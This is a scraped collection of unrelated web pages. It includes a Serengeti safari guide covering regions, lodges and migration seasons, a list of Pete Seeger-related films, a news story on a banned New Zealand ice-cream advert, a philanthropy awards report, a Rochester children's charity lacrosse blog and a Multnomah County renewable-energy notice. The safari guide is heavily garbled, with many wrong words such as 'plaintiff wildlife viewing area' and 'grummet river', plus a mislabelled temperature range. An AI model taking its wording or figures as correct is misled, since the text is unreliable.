For many of our guest, flying over the Serengeti in a hot our balloon is on their must-do lists, the experience of witnessing the endless plain and the diverse wildlife from the sky will mark your safari as unforgettable. This activity can be booked throughout a year. Usually flying from Seronera, though the launch point can also vary depending on the season you will be traveling in (e.g. July: Northern Serengeti). After your flight, you will be treated to an “out of Africa” breakfast served with sparkling wine, as you watch the plains in all its morning grandeur.More information can be found on the Serengeti balloon website here.
Southern Serengeti.
This area includes the Northern Ngorongoro Conservation area and is home famous and seemingly Serengeti plains. As these short grass plain area rich in nutrients during the wet season, giant herds of wildebeest and Zebra congregate onto the plain after the first rains. Meaning that during this time of year, wildlife including large predators like lions is especially abandoned among the south Serengeti plains making your game drive parked with unforgettable sights. As the dry season approaches, a semi-desert takes the place of the Southern Serengeti plains and only a limited number of animals thrive, regardless, this area is still popular for several resident herbivores including giraffes, elephants, and impala that can be seen year around.
– Lake Masek Tented Camp
– Ndutu Lodge
– Chaka Camp
– Olakira Camp
– Kusini Tented Camp.
– Osupuko camp
Western Serengeti
Best known for Great Migration Crossing the grummet river. Northward migration from May – July.
Reve Colobus Monkey & huge crocodiles.
Large heatals of elephants & giraffes
Wildebeest, Hippo, Topi, Leopard, and Lions (are the main species)
The West Serengeti is a special place seldom explored by most tourist.
The west Serengeti is commonly called the Western Corridor as the area takes the shape of giant Valley (Running East to West) that is flanked to the North and South by hills. This narrow corridor is about so miles along and flows towards lake Victoria, Game viewing highlights include the rare colobus monkeys, Nile Crocodiles, large herds of Topi antelope Elephant and good concentration of carnivores.
Recommended lodge.
Kirawira Serena Camp.
Ubuntu Camp
Mbalageti Safari Lodge.
Central Serengeti.
This area comprises of vast long-grass plains surrounded by rocky hills, and rivers courses neighboured with after leopard – occupied acacia trees on top of exceptional game viewing of the most significant population of carnivores in Africa.This region also holds resident to park headquarters and research facilities, which have reliable sustained resident wildlife. In central Serengeti, expect to see all four large predators (lions, cheetah, leopard, and Hyena) on your game drive, since it is home to several endearing rivers. Year-round resident animals (including but not limited to buffalo, hippo, and Warthogs) as migratory animals. Cheetah, Hyena and Thomson’s gazelle accumulate in this area throughout the dry season making the central Serengeti area. The best sport for wildlife viewing during the dry months, be mindful that much of the lodging situated in this area, so anticipate a high number of other tourist and game vehicles.
Serena Lodge
Pioneer Camp
Dunia Camp
Serengeti Acacia Camp
Katikati Camps
Kenzan Camp
Tortilis Camp.
Northern Serengeti
This area contains forested rolling hills combined with open grassy areas and numerous streams composed of underlying granites, while rarely explored, what the northern region somewhat lacks in its wildlife densities it makes up for with its maximizing landscapes and vacant wildlife viewing. Resident herbivores include Hippo, Giraffe, Topi and Elephant which are most clustered in this part of the Serengeti than any other, despite the thick bush and woodlands, predators such as lions and hyenas are still habitually seen. Cheetah and Leopards are fairly more difficult to sport but not impossible.
Lodges recommended.
Serengeti Migration Camp
Serengeti bushtops
Lemala Kurya Hills
Sayari Camp
Mara River Camp
Olakira Camp
Acacia Camp
Eastern Serengeti.
Similar to the Southern Serengeti plains, a semi-desert lake over the eastern plains during the dry season and transforms back to short grass plains during the wet season. Making it a plaintiff wildlife viewing area – especially for Cheetah. In the green season, out of the entire Serengeti and in all Africa the best cheetah viewing – can be found in Eastern Serengeti as they follow the Thompsons Gazelles migration to these grass plains. Here you will also see the greatest consideration of hyenas and a reasonably high number of lions in the wet month.
Recommended Lodge
Sametu Camp
Namiri Camp
Annual Migration
With close to two million wildebeest on the move along with thousand of Zebras the animal migration is a spectacular wildlife movement takes place through the year. Most visitors are familiar with the “Great Migration” which takes place in both Tanzania and Kenya, at the Mara River where the herds cross every year to follow the rain and to seek for food. However, for the rest of year as the migration move from the Mara River back to the Central Serengeti and down to the Southern plains, each season marks a unique pattern a different landscape and all kinds of thrilling action.While the wildlife movement is hard to predict, every year the migration will typically follow a very similar pattern and at Malaki Safaris, we customize our safari itineraries according to the migration movement and the 4 seasons that we have categorized as follows:-
The calving season
Late January and March/Southern Serengeti and Ndutu plaints NCAA.During the calving season the flat plains makes the migration viewing all the more spectacular as over a million wildebeest and zebras are estimated to gather in the southern plains each year, the calving season typically lakes between January and early March, though it can sometimes be early or late depending on the rain pattern, this is the spectacular season to visit Tanzania as you will have the opportunity to be a midst large herds of zebras and Wildebeest – as far as the eye can see, the herds gather between Southern Serengeti and the Ndutu plains. (Ngorongoro Conservation Area) To give birth simultaneously, do to the mix of volcanic soils of the southern plains when the rainfall occurs. A growth of highly nutritional rich grass that is beneficial for lactating mothers will prompt the herds of wildebeest and zebras to feed here. As a result, this attracts larger groups of predators animals such as lions, cheetah, leopards, and hyenas, to prey on the young and the weak, with luck and exceptional guiding, you will have a chance to see thrilling chase and stumbling upon young cubs and newborn!
Since the Ndugu plains allows off-road game drive in the northern circuit, this is a truly unique experience for photographers, and wildlife enthusiasm sits like all of our drive guides are highly aware of the teeming wildlife in the plains, and they conduct game drive carefully and professionally, as not to distribute the wildlife, though off road game drive is permitted at Malaki Safaris we aim to respect the animals territory and strive to preserve its natural environment, safe distances between our guests and wildlife will be carefully and respectfully maintained, and to ensure that our vehicles will not become on obstacle to any wildlife activity in this area.
As this will be in the mids of the rain season in Tanzania, the roads will be less dusty compared to the dry season. The temperature will be moderate (between 20-25 oC/68-77 oF, and a bit colder in the early morning and evenings, between 10-15 oC/50-59 oF.
Green season & Grumeti River CrossingApril to early July / Western & Central West Serengeti – Ikoma Region.
April and May are known to belong rainy season in Tanzania, and while many may try to avoid safari during this period, it is, in fact, a spectacular season to come for a visit. The rainfall rejuvenates the dried out plains, giving it a broad new lush green coat and the parks are transformed into a replenished heaven for the animals that dwell within.
– The rain typically occurs in the morning and evening and rarely affect the game drives during the day.
– Due to the fact that April and May fall into the low season in Tanzania, the rates are also the lowest.
– As the rains move from the south to the western Serengeti, the migration herds will be tried into the Western Corridor, where they will cross the Grumeti River.
– While this is a relatively small crossing when compare to Mara River crossing in the next season it is also one of the most highly anticipated events in the annual migration, as the Grumeti River host the Nile Crocodile, the world’s largest crocodile making the crossing a risk decision for the wildebeest and zebras.
The Western Corridor also beats of a diverse topography including floodplains, Savannahs open woodland, scattered forests, small hills, and valleys, aside from the Nile crocodiles, Western Serengeti is also home to the rare colobus monkey, wild days resident pride of lions that roam about the region can also be seen throughout the year.
In the month of June and July, the migrating herds will begin to move upwards to Northern Serengeti, passing through the Grummet reserve and Ikoma area for those who have a longer itinerary. We would recommend spending time in both the western corridor and the Kogatende area in the Northern Serengeti.
As April and May are part of the long rain season, the rainfall will be sporadic throughout the day, through the heavier rain typically occurs in the early morning and evening time contradictory to general belief, the rain does not stop game viewing rather, the cool weather after the rain makes the wildlife more active, the daytime temperature would be between 12-25oC /59-77oF, within the early morning and evening in the cooler 10-15oC / 50-59oF.
Dry season & the Mara Crossing.Mid-June – July to October/Northern Serengeti (Lobo bologonja and Kogatende) typically from mid-July, the majority of the migrating herds will have arrived at Kogatende area in time for the Mara River Crossing.
After depleting the grass and water in the western corridor and Grumeti. The Northern Serengeti remains relatively pristine when compare to the Seronera Central Serengeti, as well as its counterpart, Maasai Mara in Kenya as tourists have only begun to visit this area in the recent years, depending on the rain pattern, if it is a dry year, then the first herd of wildebeest can be at the Mara River by early July in a wet year, the herds would move slower, arriving by mid-August, the Northern Serengeti boasts of many kopjes, small hills and thick woodlands which provide plenty of hiding place for the big cats, though the leopard are more elusive in this area, lions and hyena can be regularly sported during the day, as well as cheetahs, other resident Wildlife includes Hippos, Giraffes, Impalas, Topi, Thompson Gazelles as well as large concentration of Elephants.
The Mara river crossing is indisputably a must see if you are an aid wildlife enthusiasts the sheer size and scope of this river crossing is astonishing, to say the least, a survival for the fittest as the wildebeests and the zebras attempt to cross the river with predators at every turn, it is important to note for those who plan to visit during this time of the river crossing that the exact time of the river crossing cannot be guaranteed, as the migration location will ultimately depend on the rainfall pattern. Also witnessing crossing require a lot of patience, as well as how many days you can spend waiting by the river bank, we typically recommend our guests to spend at least two to three nights in the Northern Serengeti on their safari. If they wish to see the cross during this time. Our experienced driver-guide who knows the area inside out will seek out the best location for excellent viewing of the crossing and to be here to give you the interesting facts and information about the migration and the northern Serengeti while you wait for the crossing.
During July to the beginning of October, the weather can be only and dusty. This is our winter in Tanzania, and the temperature can be as low as 5-10oC / 41-50oF in the early morning and evening while, the average temperature in the daytime can still be quite warm, between 20-25oC / 68-77oF.
Short rain season.
Mid October – November / Central Serengeti and Western Serengeti.As the migratory herds move back into Tanzania, they start into three groups that each take different roots, the Western, Eastern and Southern Serengeti. The Central Serengeti will typically have the more significant number of the herds, and with the Eastern Corridor being less accessible, Central and the Western Serengeti are after the most popular locations during these months.The Central Serengeti will have plenty of resident game, and with the migration returning, the game viewing will be even more diverse and exciting as the resident predators will have an abundance of food during this time, with scattered forests, the Serena valley, and open plain, this area will allow easy game access with more ground to cover compared with Western and Eastern Corridor, for those who prepare a more exclusive game drive this time, Western Serengeti could be a suitable choice for game drives.The Western Corridor can be visited when staying in central Serengeti, as our driver guides can make day trips and visit the area. That is typically less crowded.
As November to early December is considered low season in Tanzania, the parks are less crowded, enabling more exclusive game drives to compare to the other seasons, the rainfall also makes the game viewing exciting as it would be the first rain after a long dropout during the dry season, the pricing for accommodation is also great for those who prefer to keep the costs down.
During this time, the weather can be quite warm during the daytime 20-25oF / 68-77oF though after the rain and during early morning time. The temperature typically drops in the low 10-15oC / 50-59oF.
Related Safari Itinerary
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Music > Music History
Music > Biography
Music > Vocal Music
Culture & Society > Biography
Music > Instrumental Music
Rainbow Quest [TV Series] (1965)
Pete Seeger: The Power of Song (2007)
directed by Jim Brown
featuring Pete Seeger, Bob Dylan, Bruce Springsteen, Natalie Maines, Tom Paxton
The Ballad of Ramblin' Jack (2000)
directed by Aiyanna Elliott
featuring Kris Kristofferson, Arlo Guthrie, Pete Seeger, Odette, Dave Van Ronk, Jack Elliott
Used CD, 2000
Woody Guthrie All Star Tribute Concert 1970 (1970)
featuring Arlo Guthrie, Joan Baez, Pete Seeger, Country Joe, Odette
New DVD, 2019
Give Me the Banjo (2011)
directed by Marc Fields
featuring Steve Martin, Earl Scruggs, Pete Seeger, Béla Fleck, Mike Seeger
Doc Watson: Doc's Guitar - Fingerpicking and Flatpicking (1990)
Pete Seeger: Live in Australia 1963 (1963)
Phil Ochs: There But for Fortune (2011)
directed by Kenneth Bowser
featuring Phil Ochs, Tom Hayden, Joan Baez, Pete Seeger, Peter Yarrow
Woody Guthrie: This Machine Kills Fascists (2005)
directed by Stephen Gammond
featuring Billy Bragg, Arlo Guthrie, Nora Guthrie, Mary Jo Guthrie, Pete Seeger
Pete Seeger: How to Play the 5-String Banjo
Sunshine Superman: The Journey of Donovan (2008)
directed by Hannes Rossacher
featuring Donovan, Bob Dylan, Pete Seeger, Arlo Guthrie, Mickie Most
The Rich Have Their Own Photographers (2008)
directed by Ezra Bookstein
featuring Milton Rogovin, Anne Rogovin, Ed Asner, Pete Seeger, Mark Rogovin
Pete Seeger... A Song and a Stone (1972)
directed by Robert Elfstrom
featuring Pete Seeger, Johnny Cash, Lester Flatt, Don McLean
The Weavers: Wasn't That a Time! (1982)
featuring Pete Seeger, Ronnie Gilbert, Arlo Guthrie, Fred Hellerman
See All from $152.01
Let Your Feet Do the Talkin' (2010)
directed by Stewart Copeland
featuring Pete Seeger, Woody Guthrie, Sonny Terry
Brownie McGhee & Sonny Terry: Red River Blues - Rare Performances 1948-1974 (1997)
A Banjo Frolic (2003)
Will Keys
Tom Paxton
Tom Hayden
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The store sign in question.
Big problem with ‘irresponsible’ sign
by Hannah Paine
13th Nov 2019 2:27 PM
Getting an ice cream on a hot day might be one of summer's greatest delights but one store has been banned from saying the sweet treat can make you happy.
A New Zealand shop has been forced to remove a Streets ice cream advertisement that stated "Ice cream makes u happy" from the front of its store because it was "extremely irresponsible", Stuff reports.
RELATED: Streets brings back one of its most popular ice creams
RELATED: Ice cream lovers across Australia - get ready for this one
The advertising on the outside of the Tui Crescent Foodmarket.
A local resident complained to the New Zealand Advertising Standards Authority that the advertisement outside the Tui Crescent Foodmarket in Whangarei promoted an unhealthy relationship with food.
Beside the slogan "ice cream makes u happy" featured pictures of a Paddle Pop, Magnum and Splice.
The complainant cited New Zealand's obesity figures as reason for their complaint about the ad.
RELATED: Golden Gaytime and Krispy Kreme have just done the unthinkable
RELATED: Streets Ice Cream has launched its first ever pink cone
The local complained the ad was ‘extremely irresponsible’.
In response to the complaint, Streets ice cream owner Unilever Australasia argued the shop advertising slogan had been a "puffery" statement similar to "Red Bull gives you wings".
"Consumers will not reasonably interpret the advertisement that eating Paddle Pop, Magnum or Splice increases their level of happiness in a measurable way, or that it provides nutritional value that is beneficial to their health," it said in response to the complaint, according to Stuff.
But in the end the Advertising Standards Authority sided with the complainant, arguing that by connecting ice cream with happiness it could be detrimental to peoples' health.
RELATED: Two Cold Rock stores close amid rising cost pressures
RELATED: Best ice cream list: Maxibon and Magnum in top spot
Saying ice cream makes you happy was a ‘puffery’ statement, the company argued.
In making its decision, the Authority also took into account the size and location of the advertisement on the side of the shop.
Unilever Australasia is now appealing the decision and told news.com.au in a statement: "We acknowledge how important it is for New Zealanders to eat a balanced diet, maintain a healthy weight and to look after their mental wellbeing.
"Unilever is committed to promoting mental and physical health. We recently submitted an appeal of the Decision and are awaiting the decision of the Advertising Standards Complaint Appeal Board."
premium_icon Vagina sign in a sensitve location causes a huge stir
New health twist on popular pub beer
ad business icecream slogan streets
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Approach ▾
LiveOak's History
Entrepreneur's Bill of Rights
▸News
LiveOak Gives
Real Estate Startup Homeward Secures $25M In Debt & Equity To Help People Buy Homes Faster
There’s so many players in the real estate tech game, it’s hard to keep up. (We’ve tried in numerous pieces such as this one). Now an Austin upstart called Homeward has entered the crowded scene in an ambitious attempt to take on bigger established players with its offering, and it’s just raised $4 million in equity funding and $21 million in debt funding to help it in its mission...Read more
© 2017 LiveOak Venture Partners
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MDCC, BBJ give thanks to those who give so much at AFP Maryland National Philanthropy Day Awards
There were moments when there couldn’t have been a dry eye in the room.
The 2017 AFP Maryland National Philanthropy Day Awards featured so much inspiring generosity in just two hours that the 800 attendees must have all walked out of the Baltimore Marriott Waterfront Hotel wondering what they could go do for someone else that very minute.
The Maryland Chamber of Commerce, a partnering sponsor of the event, was honored to join the Baltimore Business Journal in presenting Business Philanthropy Awards to three outstanding Chamber members: Bank of America; Hyatt Regency Chesapeake Bay Golf Resort, Spa and Marina; and Brotman Financial Group. The three companies – one large, one midsized, and one small – edged out a host of nominees for their philanthropic and volunteer leadership.
“Business is a critical leader in giving back to communities,” Maryland Chamber of Commerce President & CEO Christine Ross told the crowd. “It’s so important to celebrate that.”
Ross congratulated each recipient as Maryland Chamber Board Chair and KCI TechnologiesPresident Nate Beil and Baltimore Business Journal Market President and Publisher Rhonda Pringle announced the honors.
The event also honored four outstanding youth fundraisers, each of whom held the 800 rapt with their acceptance speeches – and each of whom probably had job offers as soon as they left the stage, despite being too young to work full-time.
The day culminated in awards for Patricia and Mark Joseph as the AFP Maryland Philanthropists of the Year, and the Kahlert Foundation as the Outstanding Foundation of the Year. The Josephs have given generously to arts and youth organizations like Thread, while the Kahlert Foundationhas supported Chamber members like Towson University in education-centered initiatives.
This is the Maryland Chamber’s 17th year partnering with the Baltimore Business Journal to honor businesses for their community contributions.
“It’s just so meaningful to be part of this,” Ross said after the event. “This is one of the best parts of being a chamber of commerce – working together for the greater good of the community.”
Share in the celebration
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(585)733-7411 Email: muddysbuddies@gmail.com
Lax Festival
Refer a Buddy Today
Next Level Strength and Conditioning Fundraiser For Muddy’s Buddies
Saturday October 17th from 8:30am-2pm
Next Level Strength and Conditioning will be hosting a fundraiser to raise money for Muddy’s Buddies! There will be fitness challenges, free demos for our Youth Class as well as Sports Performance classes, raffles, silent auctions and much more. Bring yourself, bring your team, bring your family, all for a good cause and for good health! Stay tuned and hope to see you there!
Check out Next Level’s Website for more details.
Plan for the Day
8:30-9:30 FREE ROOTS Group General Fitness Class (OPEN TO ALL AGES/ ABILITY LEVELS!)
9:30-10:30 Group Fitness Challenge (Will be modified for all ability levels)
10:30-11 Free Youth FUNdamentals class (Ages 6-10)
11-1 Lunch
During lunch…11-12 FREE High School and Middle School Demo Session
1-2 Raffles (50/50 etc), Auctuion Items
October 3, 2015 /by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2015-10-03 13:43:462017-11-07 15:24:16Next Level Strength and Conditioning Fundraiser For Muddy's Buddies
We would like to thank our “Best Buddy” Sponsors for their support during the 4th Annual Muddy’s Buddies Lax Fest.
Doyle Chevrolet
Rochester Eye Associates
Meliora Advisors
Nancy & Friends – Fighting Cancer Inc.
Brand Integrity
Dunn Tire
QCI – Asset Management Inc.
Gauss Sales
December 10, 2013 /by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-12-10 18:56:092014-08-08 12:47:33We would like to thank our "Best Buddy" Sponsors for their support during the 4th Annual Muddy's Buddies Lax Fest.
4th Annual Muddy’s Buddies Lax Fest Raises over $13,000: The Afterglow Blog
Contributed by Tim Lawrence
Well, I have to say I called it. The weather was perfect, and the games were perfect-er.
The MB Lacrosse Festival was a HUGE success, and Billy Fucillo had nothing to do with it. The two-day lax extravaganza was held on May 5 and 19 and over 500 athletes played games on almost 50 boys and girls teams under the sunniest of skies, and some people (no names mentioned here, ahem…you know who you are…) did not heed the advice of yours truly when he so sagely and magnanimously suggested the use of sunblock. Apparently some festival-goers were feeling the sun-kisses for several days after.
The Lax Fest raised over $13,000 dollars this year, almost a 20% increase from the proceeds raised in the 2012 festival. That is a fantastic achievement and the money goes to the Buddies and their families to support them in their struggles with childhood illnesses including cancer. There are now nineteen Buddies supported by teams and clubs across four counties in Western New York.
The dinero came from team entry fees, T-shirt sales, concessions, and raffles of all sorts of cool stuff, but the MB Fest would not have gotten off the ground at all without the “Best Buddy” sponsors. They were everywhere on those two Sundays in May. They were Doyle Chevrolet and Subaru, Brand Integrity!, Rochester Eye Associates, Dunn Tire, Meliora Advisors, QCI Asset Management Inc., Nancy & Friends–Fighting Cancer Inc., Gauss Sales, Inc.
I cannot believe that there were over 400 T-shirts sold, although I will admit I bought three of ‘em. That hot pink color was ssss-weeet. I really loved that super-charged neon yellow color, but it made my eyes look orange. All of the raffles raised over $3000 dollars. BTW I would like to talk to one of the people who won the Abby Wambach balls. I would be willing to negotiate. Call me or text me.
The craziest thing was that they sold over 20 pounds of USDA ground beef for the ever-popular and delish Taco-in-a- Bag. If you were there on the second day of the Lax Fest, you might have seen the dude dumpster-diving for bottles and cans. Well, he came up with over 400 returnable bottles (over $21 worth) and about the same number of sports drink bottles. Ya know there’s no refund for the sports drink bottles (like Gatorade or Powerade) but keeping it green and recycling all those bottles is well worth the effort.
But forget all that, the MB Lax Fest 2013 earned some mad cash for all the Buddies. There were great games, sick goals, 16 hours of sunshine and not a single drop of rain. The Great Mud Man would say “Great Job. The Buddies won, but don’t forget the sunblock.”
July 27, 2013 /by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-07-27 16:50:442014-08-08 12:47:414th Annual Muddy’s Buddies Lax Fest Raises over $13,000: The Afterglow Blog
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Kids Helping Kids… It’s a Two Way Street
It’s a funny position having our end of the season lacrosse banquet before the end of the season but I don’t think anyone minds this year, I sure don’t. Because of our success together, we were able to win a sectional title this year and are fortunate to head to the state tournament this weekend. I think we owe a great deal of our success to Kassidy (our buddy). This year we focused a lot on our mental toughness as a team and Kassidy made that mental “push” so much easier. When I think of Kassidy being on our team this season a few instances come to mind. After our Pittsford game when we lost by 1, is when the mental aspect of our game really came into play. The team received a text from Kassidy shortly after the LONGG bus ride home and it said, “Even though we lost, you guys Rocked! Don’t let this one game bring you down! KEEP PUSHING (All Caps!) and leave the past behind.” This was not the first time Kassidy helped push our team but it surely wasn’t the last.
In the beginning of the season when Kassidy first joined our team and learned about the little treats the captains put in everybody’s bag in the locker room before every game (usually a single wrapped candy of some sort)- Kassidy decided to show us captains up and put a large pack of Starburst in everyone’s bag- So Thanks Kassidy…. I guess it’s go big or go home!!!
We have a joke on our team that Kassidy has a later bedtime than Kenzie because after we beat Canandaigua the other night, Kassidy came to Hungry’s with the team for Garbage Plates but Kenzie didn’t. (Kenzie takes my jokes about being in 8th grade almost every day, she knows we love her). Kassidy gave the seniors a rubber duck before our sectional finals game last week with a graduation cap on its head. I was thrilled she gave me something I could continuously squeeze the life out of on our way to Eastridge, attempting to release my unbelievable amount of nerves. Luckily it’s a short drive though because that duck squeaked every time I squeezed it. .. loud. My teammates around me on the bus were definitely annoyed but I was more thankful for that thing than she thinks.
Kassidy was someone we played for, someone we wanted a sectional title for more than ourselves and I know Kassidy wanted it for us. So Thank You Kassidy, thank you for being such a joy to have around and for pushing us to be the best we could be, we hope you can skip school and come to states with us! We Love you!
Love, The Captains
Written by Carly Randall with help from Meaghan Bowen and Lauren Smolensky – Brighton Girls’ Lacrosse Captains
July 4, 2013 /by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2014/03/Muddys-Buddies-Brighton-Girls-Lacrosse-small-1.jpg 426 640 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-07-04 16:02:012014-08-08 12:47:48Kids Helping Kids... It's a Two Way Street
Part Two – It’s TODAY!
It’s supposed to be beautiful today for the Dude’s Edition of the Fourth Annual Muddy’s Buddies Lacrosse Festival on Sunday, May 19th. The boys’ teams start at 8 AM on the turf field of the Reifsteck Stadium at Brighton High School.
Part One of the MB Lax Festival was two weeks ago, May 5, at the same place, same times. And the girls crushed it– the weather could not have been better, there were some great games and sick goals, the T-shirts this year are killer, and the food rocked. They had taco-in-a-bag, hot dogs and such– comin’ right off your Bar-B-Q grill.
I am psyched, because the weather should be perfect—they’re sayin’ in the 70’s, so not super-hot, but shorts should be good, and it won’t be super sunny. But you better wear the sunscreen anyway, just to be safe. Muddy would want all of his Buddies to be all over the sunblock, or maybe he would say “Buddies, make sure it’s all over you.” Ha-Ha.
And all of the proceeds (I am talking about the cabbage, the dough, the rubles, the dollars, yo…) from the games and concessions go to Muddy’s Buddies and their families. Those are the kids that the whole Muddy’s Buddies thing is about– MB helps kids with cancer (or other chronic conditions) by pairing them up with school sports teams for support, friendship, and encouragement. So the Buddies, and there are 17 of ‘em at this point, might go to team events, like games, practices, pasta parties or just for your general hanging out.
Ya know the Great Muddy, himself, was all about kids and kids’ bein’ safe and smart. He was a great athlete and a great coach himself, but an even better teacher. He taught English and he was big on kids expressing themselves in all different ways—like writing in a journal, talking about a poem or a movie, making a sweet pass for an assist, or just takin’ a long bike ride. He believed everybody was an artist AND an athlete!
May 19, 2013 /by casscomerford
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 casscomerford https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png casscomerford2013-05-19 12:11:352014-08-08 12:48:09Part Two - It's TODAY!
In the News: Children Play Lacrosse For Good Cause
article from WROC-TV
A Youth Lacrosse Tournament supported children with serious illnesses.
Sunday was the 4th Annual Muddy’s Buddies Lacrosse Festival at Brighton High School. The Muddy’s Buddies matches children with cancer and other illnesses with high school and college sports teams and clubs.
Sunday’s lacrosse games were played by girls between 1st and 6th grade. The boys will hit the field May 19th.
May 7, 2013 /by casscomerford
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 casscomerford https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png casscomerford2013-05-07 14:34:582014-08-08 12:48:15In the News: Children Play Lacrosse For Good Cause
“Building Strength in Numbers” in Rochester
Muddy’s Buddies has been helping children who have been touched by cancer and other chronic illnesses in Rochester for nearly 4 years now. And as we enter another Spring season, I can’t help to think about how much Muddy’s Buddies continues to grow and evolve. It amazes me to think about how the community has reached out and helped us become what we are today. Thanks to such wonderful and overwhelming community support, we have succeeded in becoming what our motto promises, we increased our numbers and we have become stronger. And, more importantly, we have made others stronger as well.
And the numbers continue to grow. We are stretched across 4 different counties in Western New York. We are connected with 10 different school districts, one college, and one professional sports team. We are 17 different teams, 11 different sports, 1 dance group and 1 amazing jazz band. We have made 17th buddy connections and anticipate that a couple more connections will commence in the coming days.
We have connected with more than a dozen families, we have reached hundreds of athletes, dozens of musicians, dozens of dancers, and a thousands of fans. But there remains plenty of work to do. We show no signs of slowing and the support we continue to receive from the community shows no signs of slowing either. We raised nearly $12,000 in 2012 and anticipate that we will surpass that number this year. We also anticipate more opportunities to support families in need in greater ways and with greater frequency. We are grateful for the support and we remain committed to improving the lives of children and their families whose lives have been impacted by difficult medical conditions. We are “Building Strength in Numbers.”
May 1, 2013 /0 Comments/by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-05-01 13:18:412013-04-18 12:19:03"Building Strength in Numbers" in Rochester
Less than a week until the Lacrosse Festival!
Contributed by Tim Lawrence- Beat Reporter
I can’t believe it’s less than one week til the next Muddy’s Buddies Lacrosse Festival. The girls’ lax teams play on Sunday May 5th on the turf field at Reifsteck Field at Brighton High School.
There are gonna be games all day long starting at 9 AM. There are gonna be divisions for first and second graders, third and fourth graders, and fifth and sixth graders. It’s really cool that they play on that turf field at Brighton, ‘cuz that’s where the high school teams play. It’s especially sweet because it’s not a muddy mess when it’s raining.
Besides the games, and the girls usually have three or four games all day long, there’s fun stuff like face painting , and ridiculous raffles, a bounce house, and great food (You have to try the “ taco in a bag”—it is sick –in a good way).
You do have to check out the T-shirts too. They are always so su—weeet. Every year they’re better than the year before. Last year they were cool with sky blue background and printing in a dirty, muddy-water brown.
The best part is that it’s all to raise el dinero (the pesos, the Benjamins—the moolah, los dollars) for the Muddy’s Buddies group that supports kids with cancer (and other illnesses, too). Muddy’s Buddies tries to connect kids with cancer to teams for support, friendship, and general hanging-out. There have been high school sports teams and professional teams (the Rhinos), even a concert band.
There’s a lot more to say about this, but check back in a week and be there on May 5.
April 30, 2013 /0 Comments/by casscomerford
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 casscomerford https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png casscomerford2013-04-30 13:03:512013-04-30 13:03:51Less than a week until the Lacrosse Festival!
Thank You to our “Best Buddy” Sponsors
The 4th Annual Muddy’s Buddies Lax Fest is 2 weeks away. It is time to begin acknowledging our “Best Buddy” Sponsors. With their support we continue to support dozens of families in need across Western New York. This year’s sponsors are:
Nancy and Friends Fighting Cancer, Inc.
Brand Integrity Inc, “The Experience Management Company”
Dunn Tire– 31 Location in New York and Pennsylvania
Doyle Chevrolet– Family Owned and Operated Since 1939
QCI Asset Management Company
Rochester Eye Associates– Eye Care for All Ages
Gauss Sales– Sportswear Distributor
April 29, 2013 /0 Comments/by Stephen Lawrence
https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png 0 0 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-04-29 13:17:352013-04-18 12:17:58Thank You to our "Best Buddy" Sponsors
This Is What It’s All About
Contributed by Amy Ryan- Muddy’s Buddies Board Member
A few weeks ago, the Brighton Varsity Girls Lacrosse Team welcomed their new buddy Kassidy to the team. Each of the girls on the team signed a card for Kassidy, and made her feel as though they had always known her. Kassidy has loved being at the practices and games (even in the freezing, blowing snow!). The girls have really enjoyed getting know her and frequently contact her to see how she is and to make sure she knows when they are on the field. After talking to the girls, it is clear they love having her around as much as she likes being there.
This is the first time that I have personally known a Buddy and it has been a more than rewarding experience. It has been wonderful to be able to hear the immediate feedback on how this impacts the family’s life and most importantly the Buddy. One thing I have learned over the past year – it is a truly rewarding experience, not only for the Buddy, but most often for the High School students and coaches who have adopted the Buddy.
The only thing that ran through my mind after leaving the Buddy introduction was, “THIS IS WHAT IT’S ALL ABOUT.” This is why I feel so strongly about the importance of this organization. We make people’s lives a bit brighter, during difficult times.
https://muddysbuddies.com/wp-content/uploads/2013/04/009-2.jpg 1852 2631 Stephen Lawrence https://muddysbuddies.com/wp-content/uploads/2013/02/Muddy_s_Buddies_Final_Logo_2012.png Stephen Lawrence2013-04-24 11:50:532013-04-18 12:17:26This Is What It's All About
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100% Renewable by 2050
Pathways to 100% Renewable by 2050
Sustainability Policies at Multnomah County
Sustainable Multnomah County Videos
Sustainable Success at Multnomah County
Galleries7
On April 10, 2017, Multnomah County Chair Deborah Kafoury and City of Portland Mayor Ted Wheeler vowed to transition to 100 percent clean energy by 2050. The goal is to meet the community's electricity needs from renewable sources by 2035 and shift all remaining energy sources to renewables by 2050. At the time Chair Kafoury called the commitment “a pledge to our children's future,” and said that honoring that commitment “means a future with cleaner air, a stable climate and more jobs and economic opportunity.’’
The Multnomah County Board voted unanimously on Thursday, June 1 to commit the county to reaching its goal of 100 percent renewable energy use community-wide by 2050.
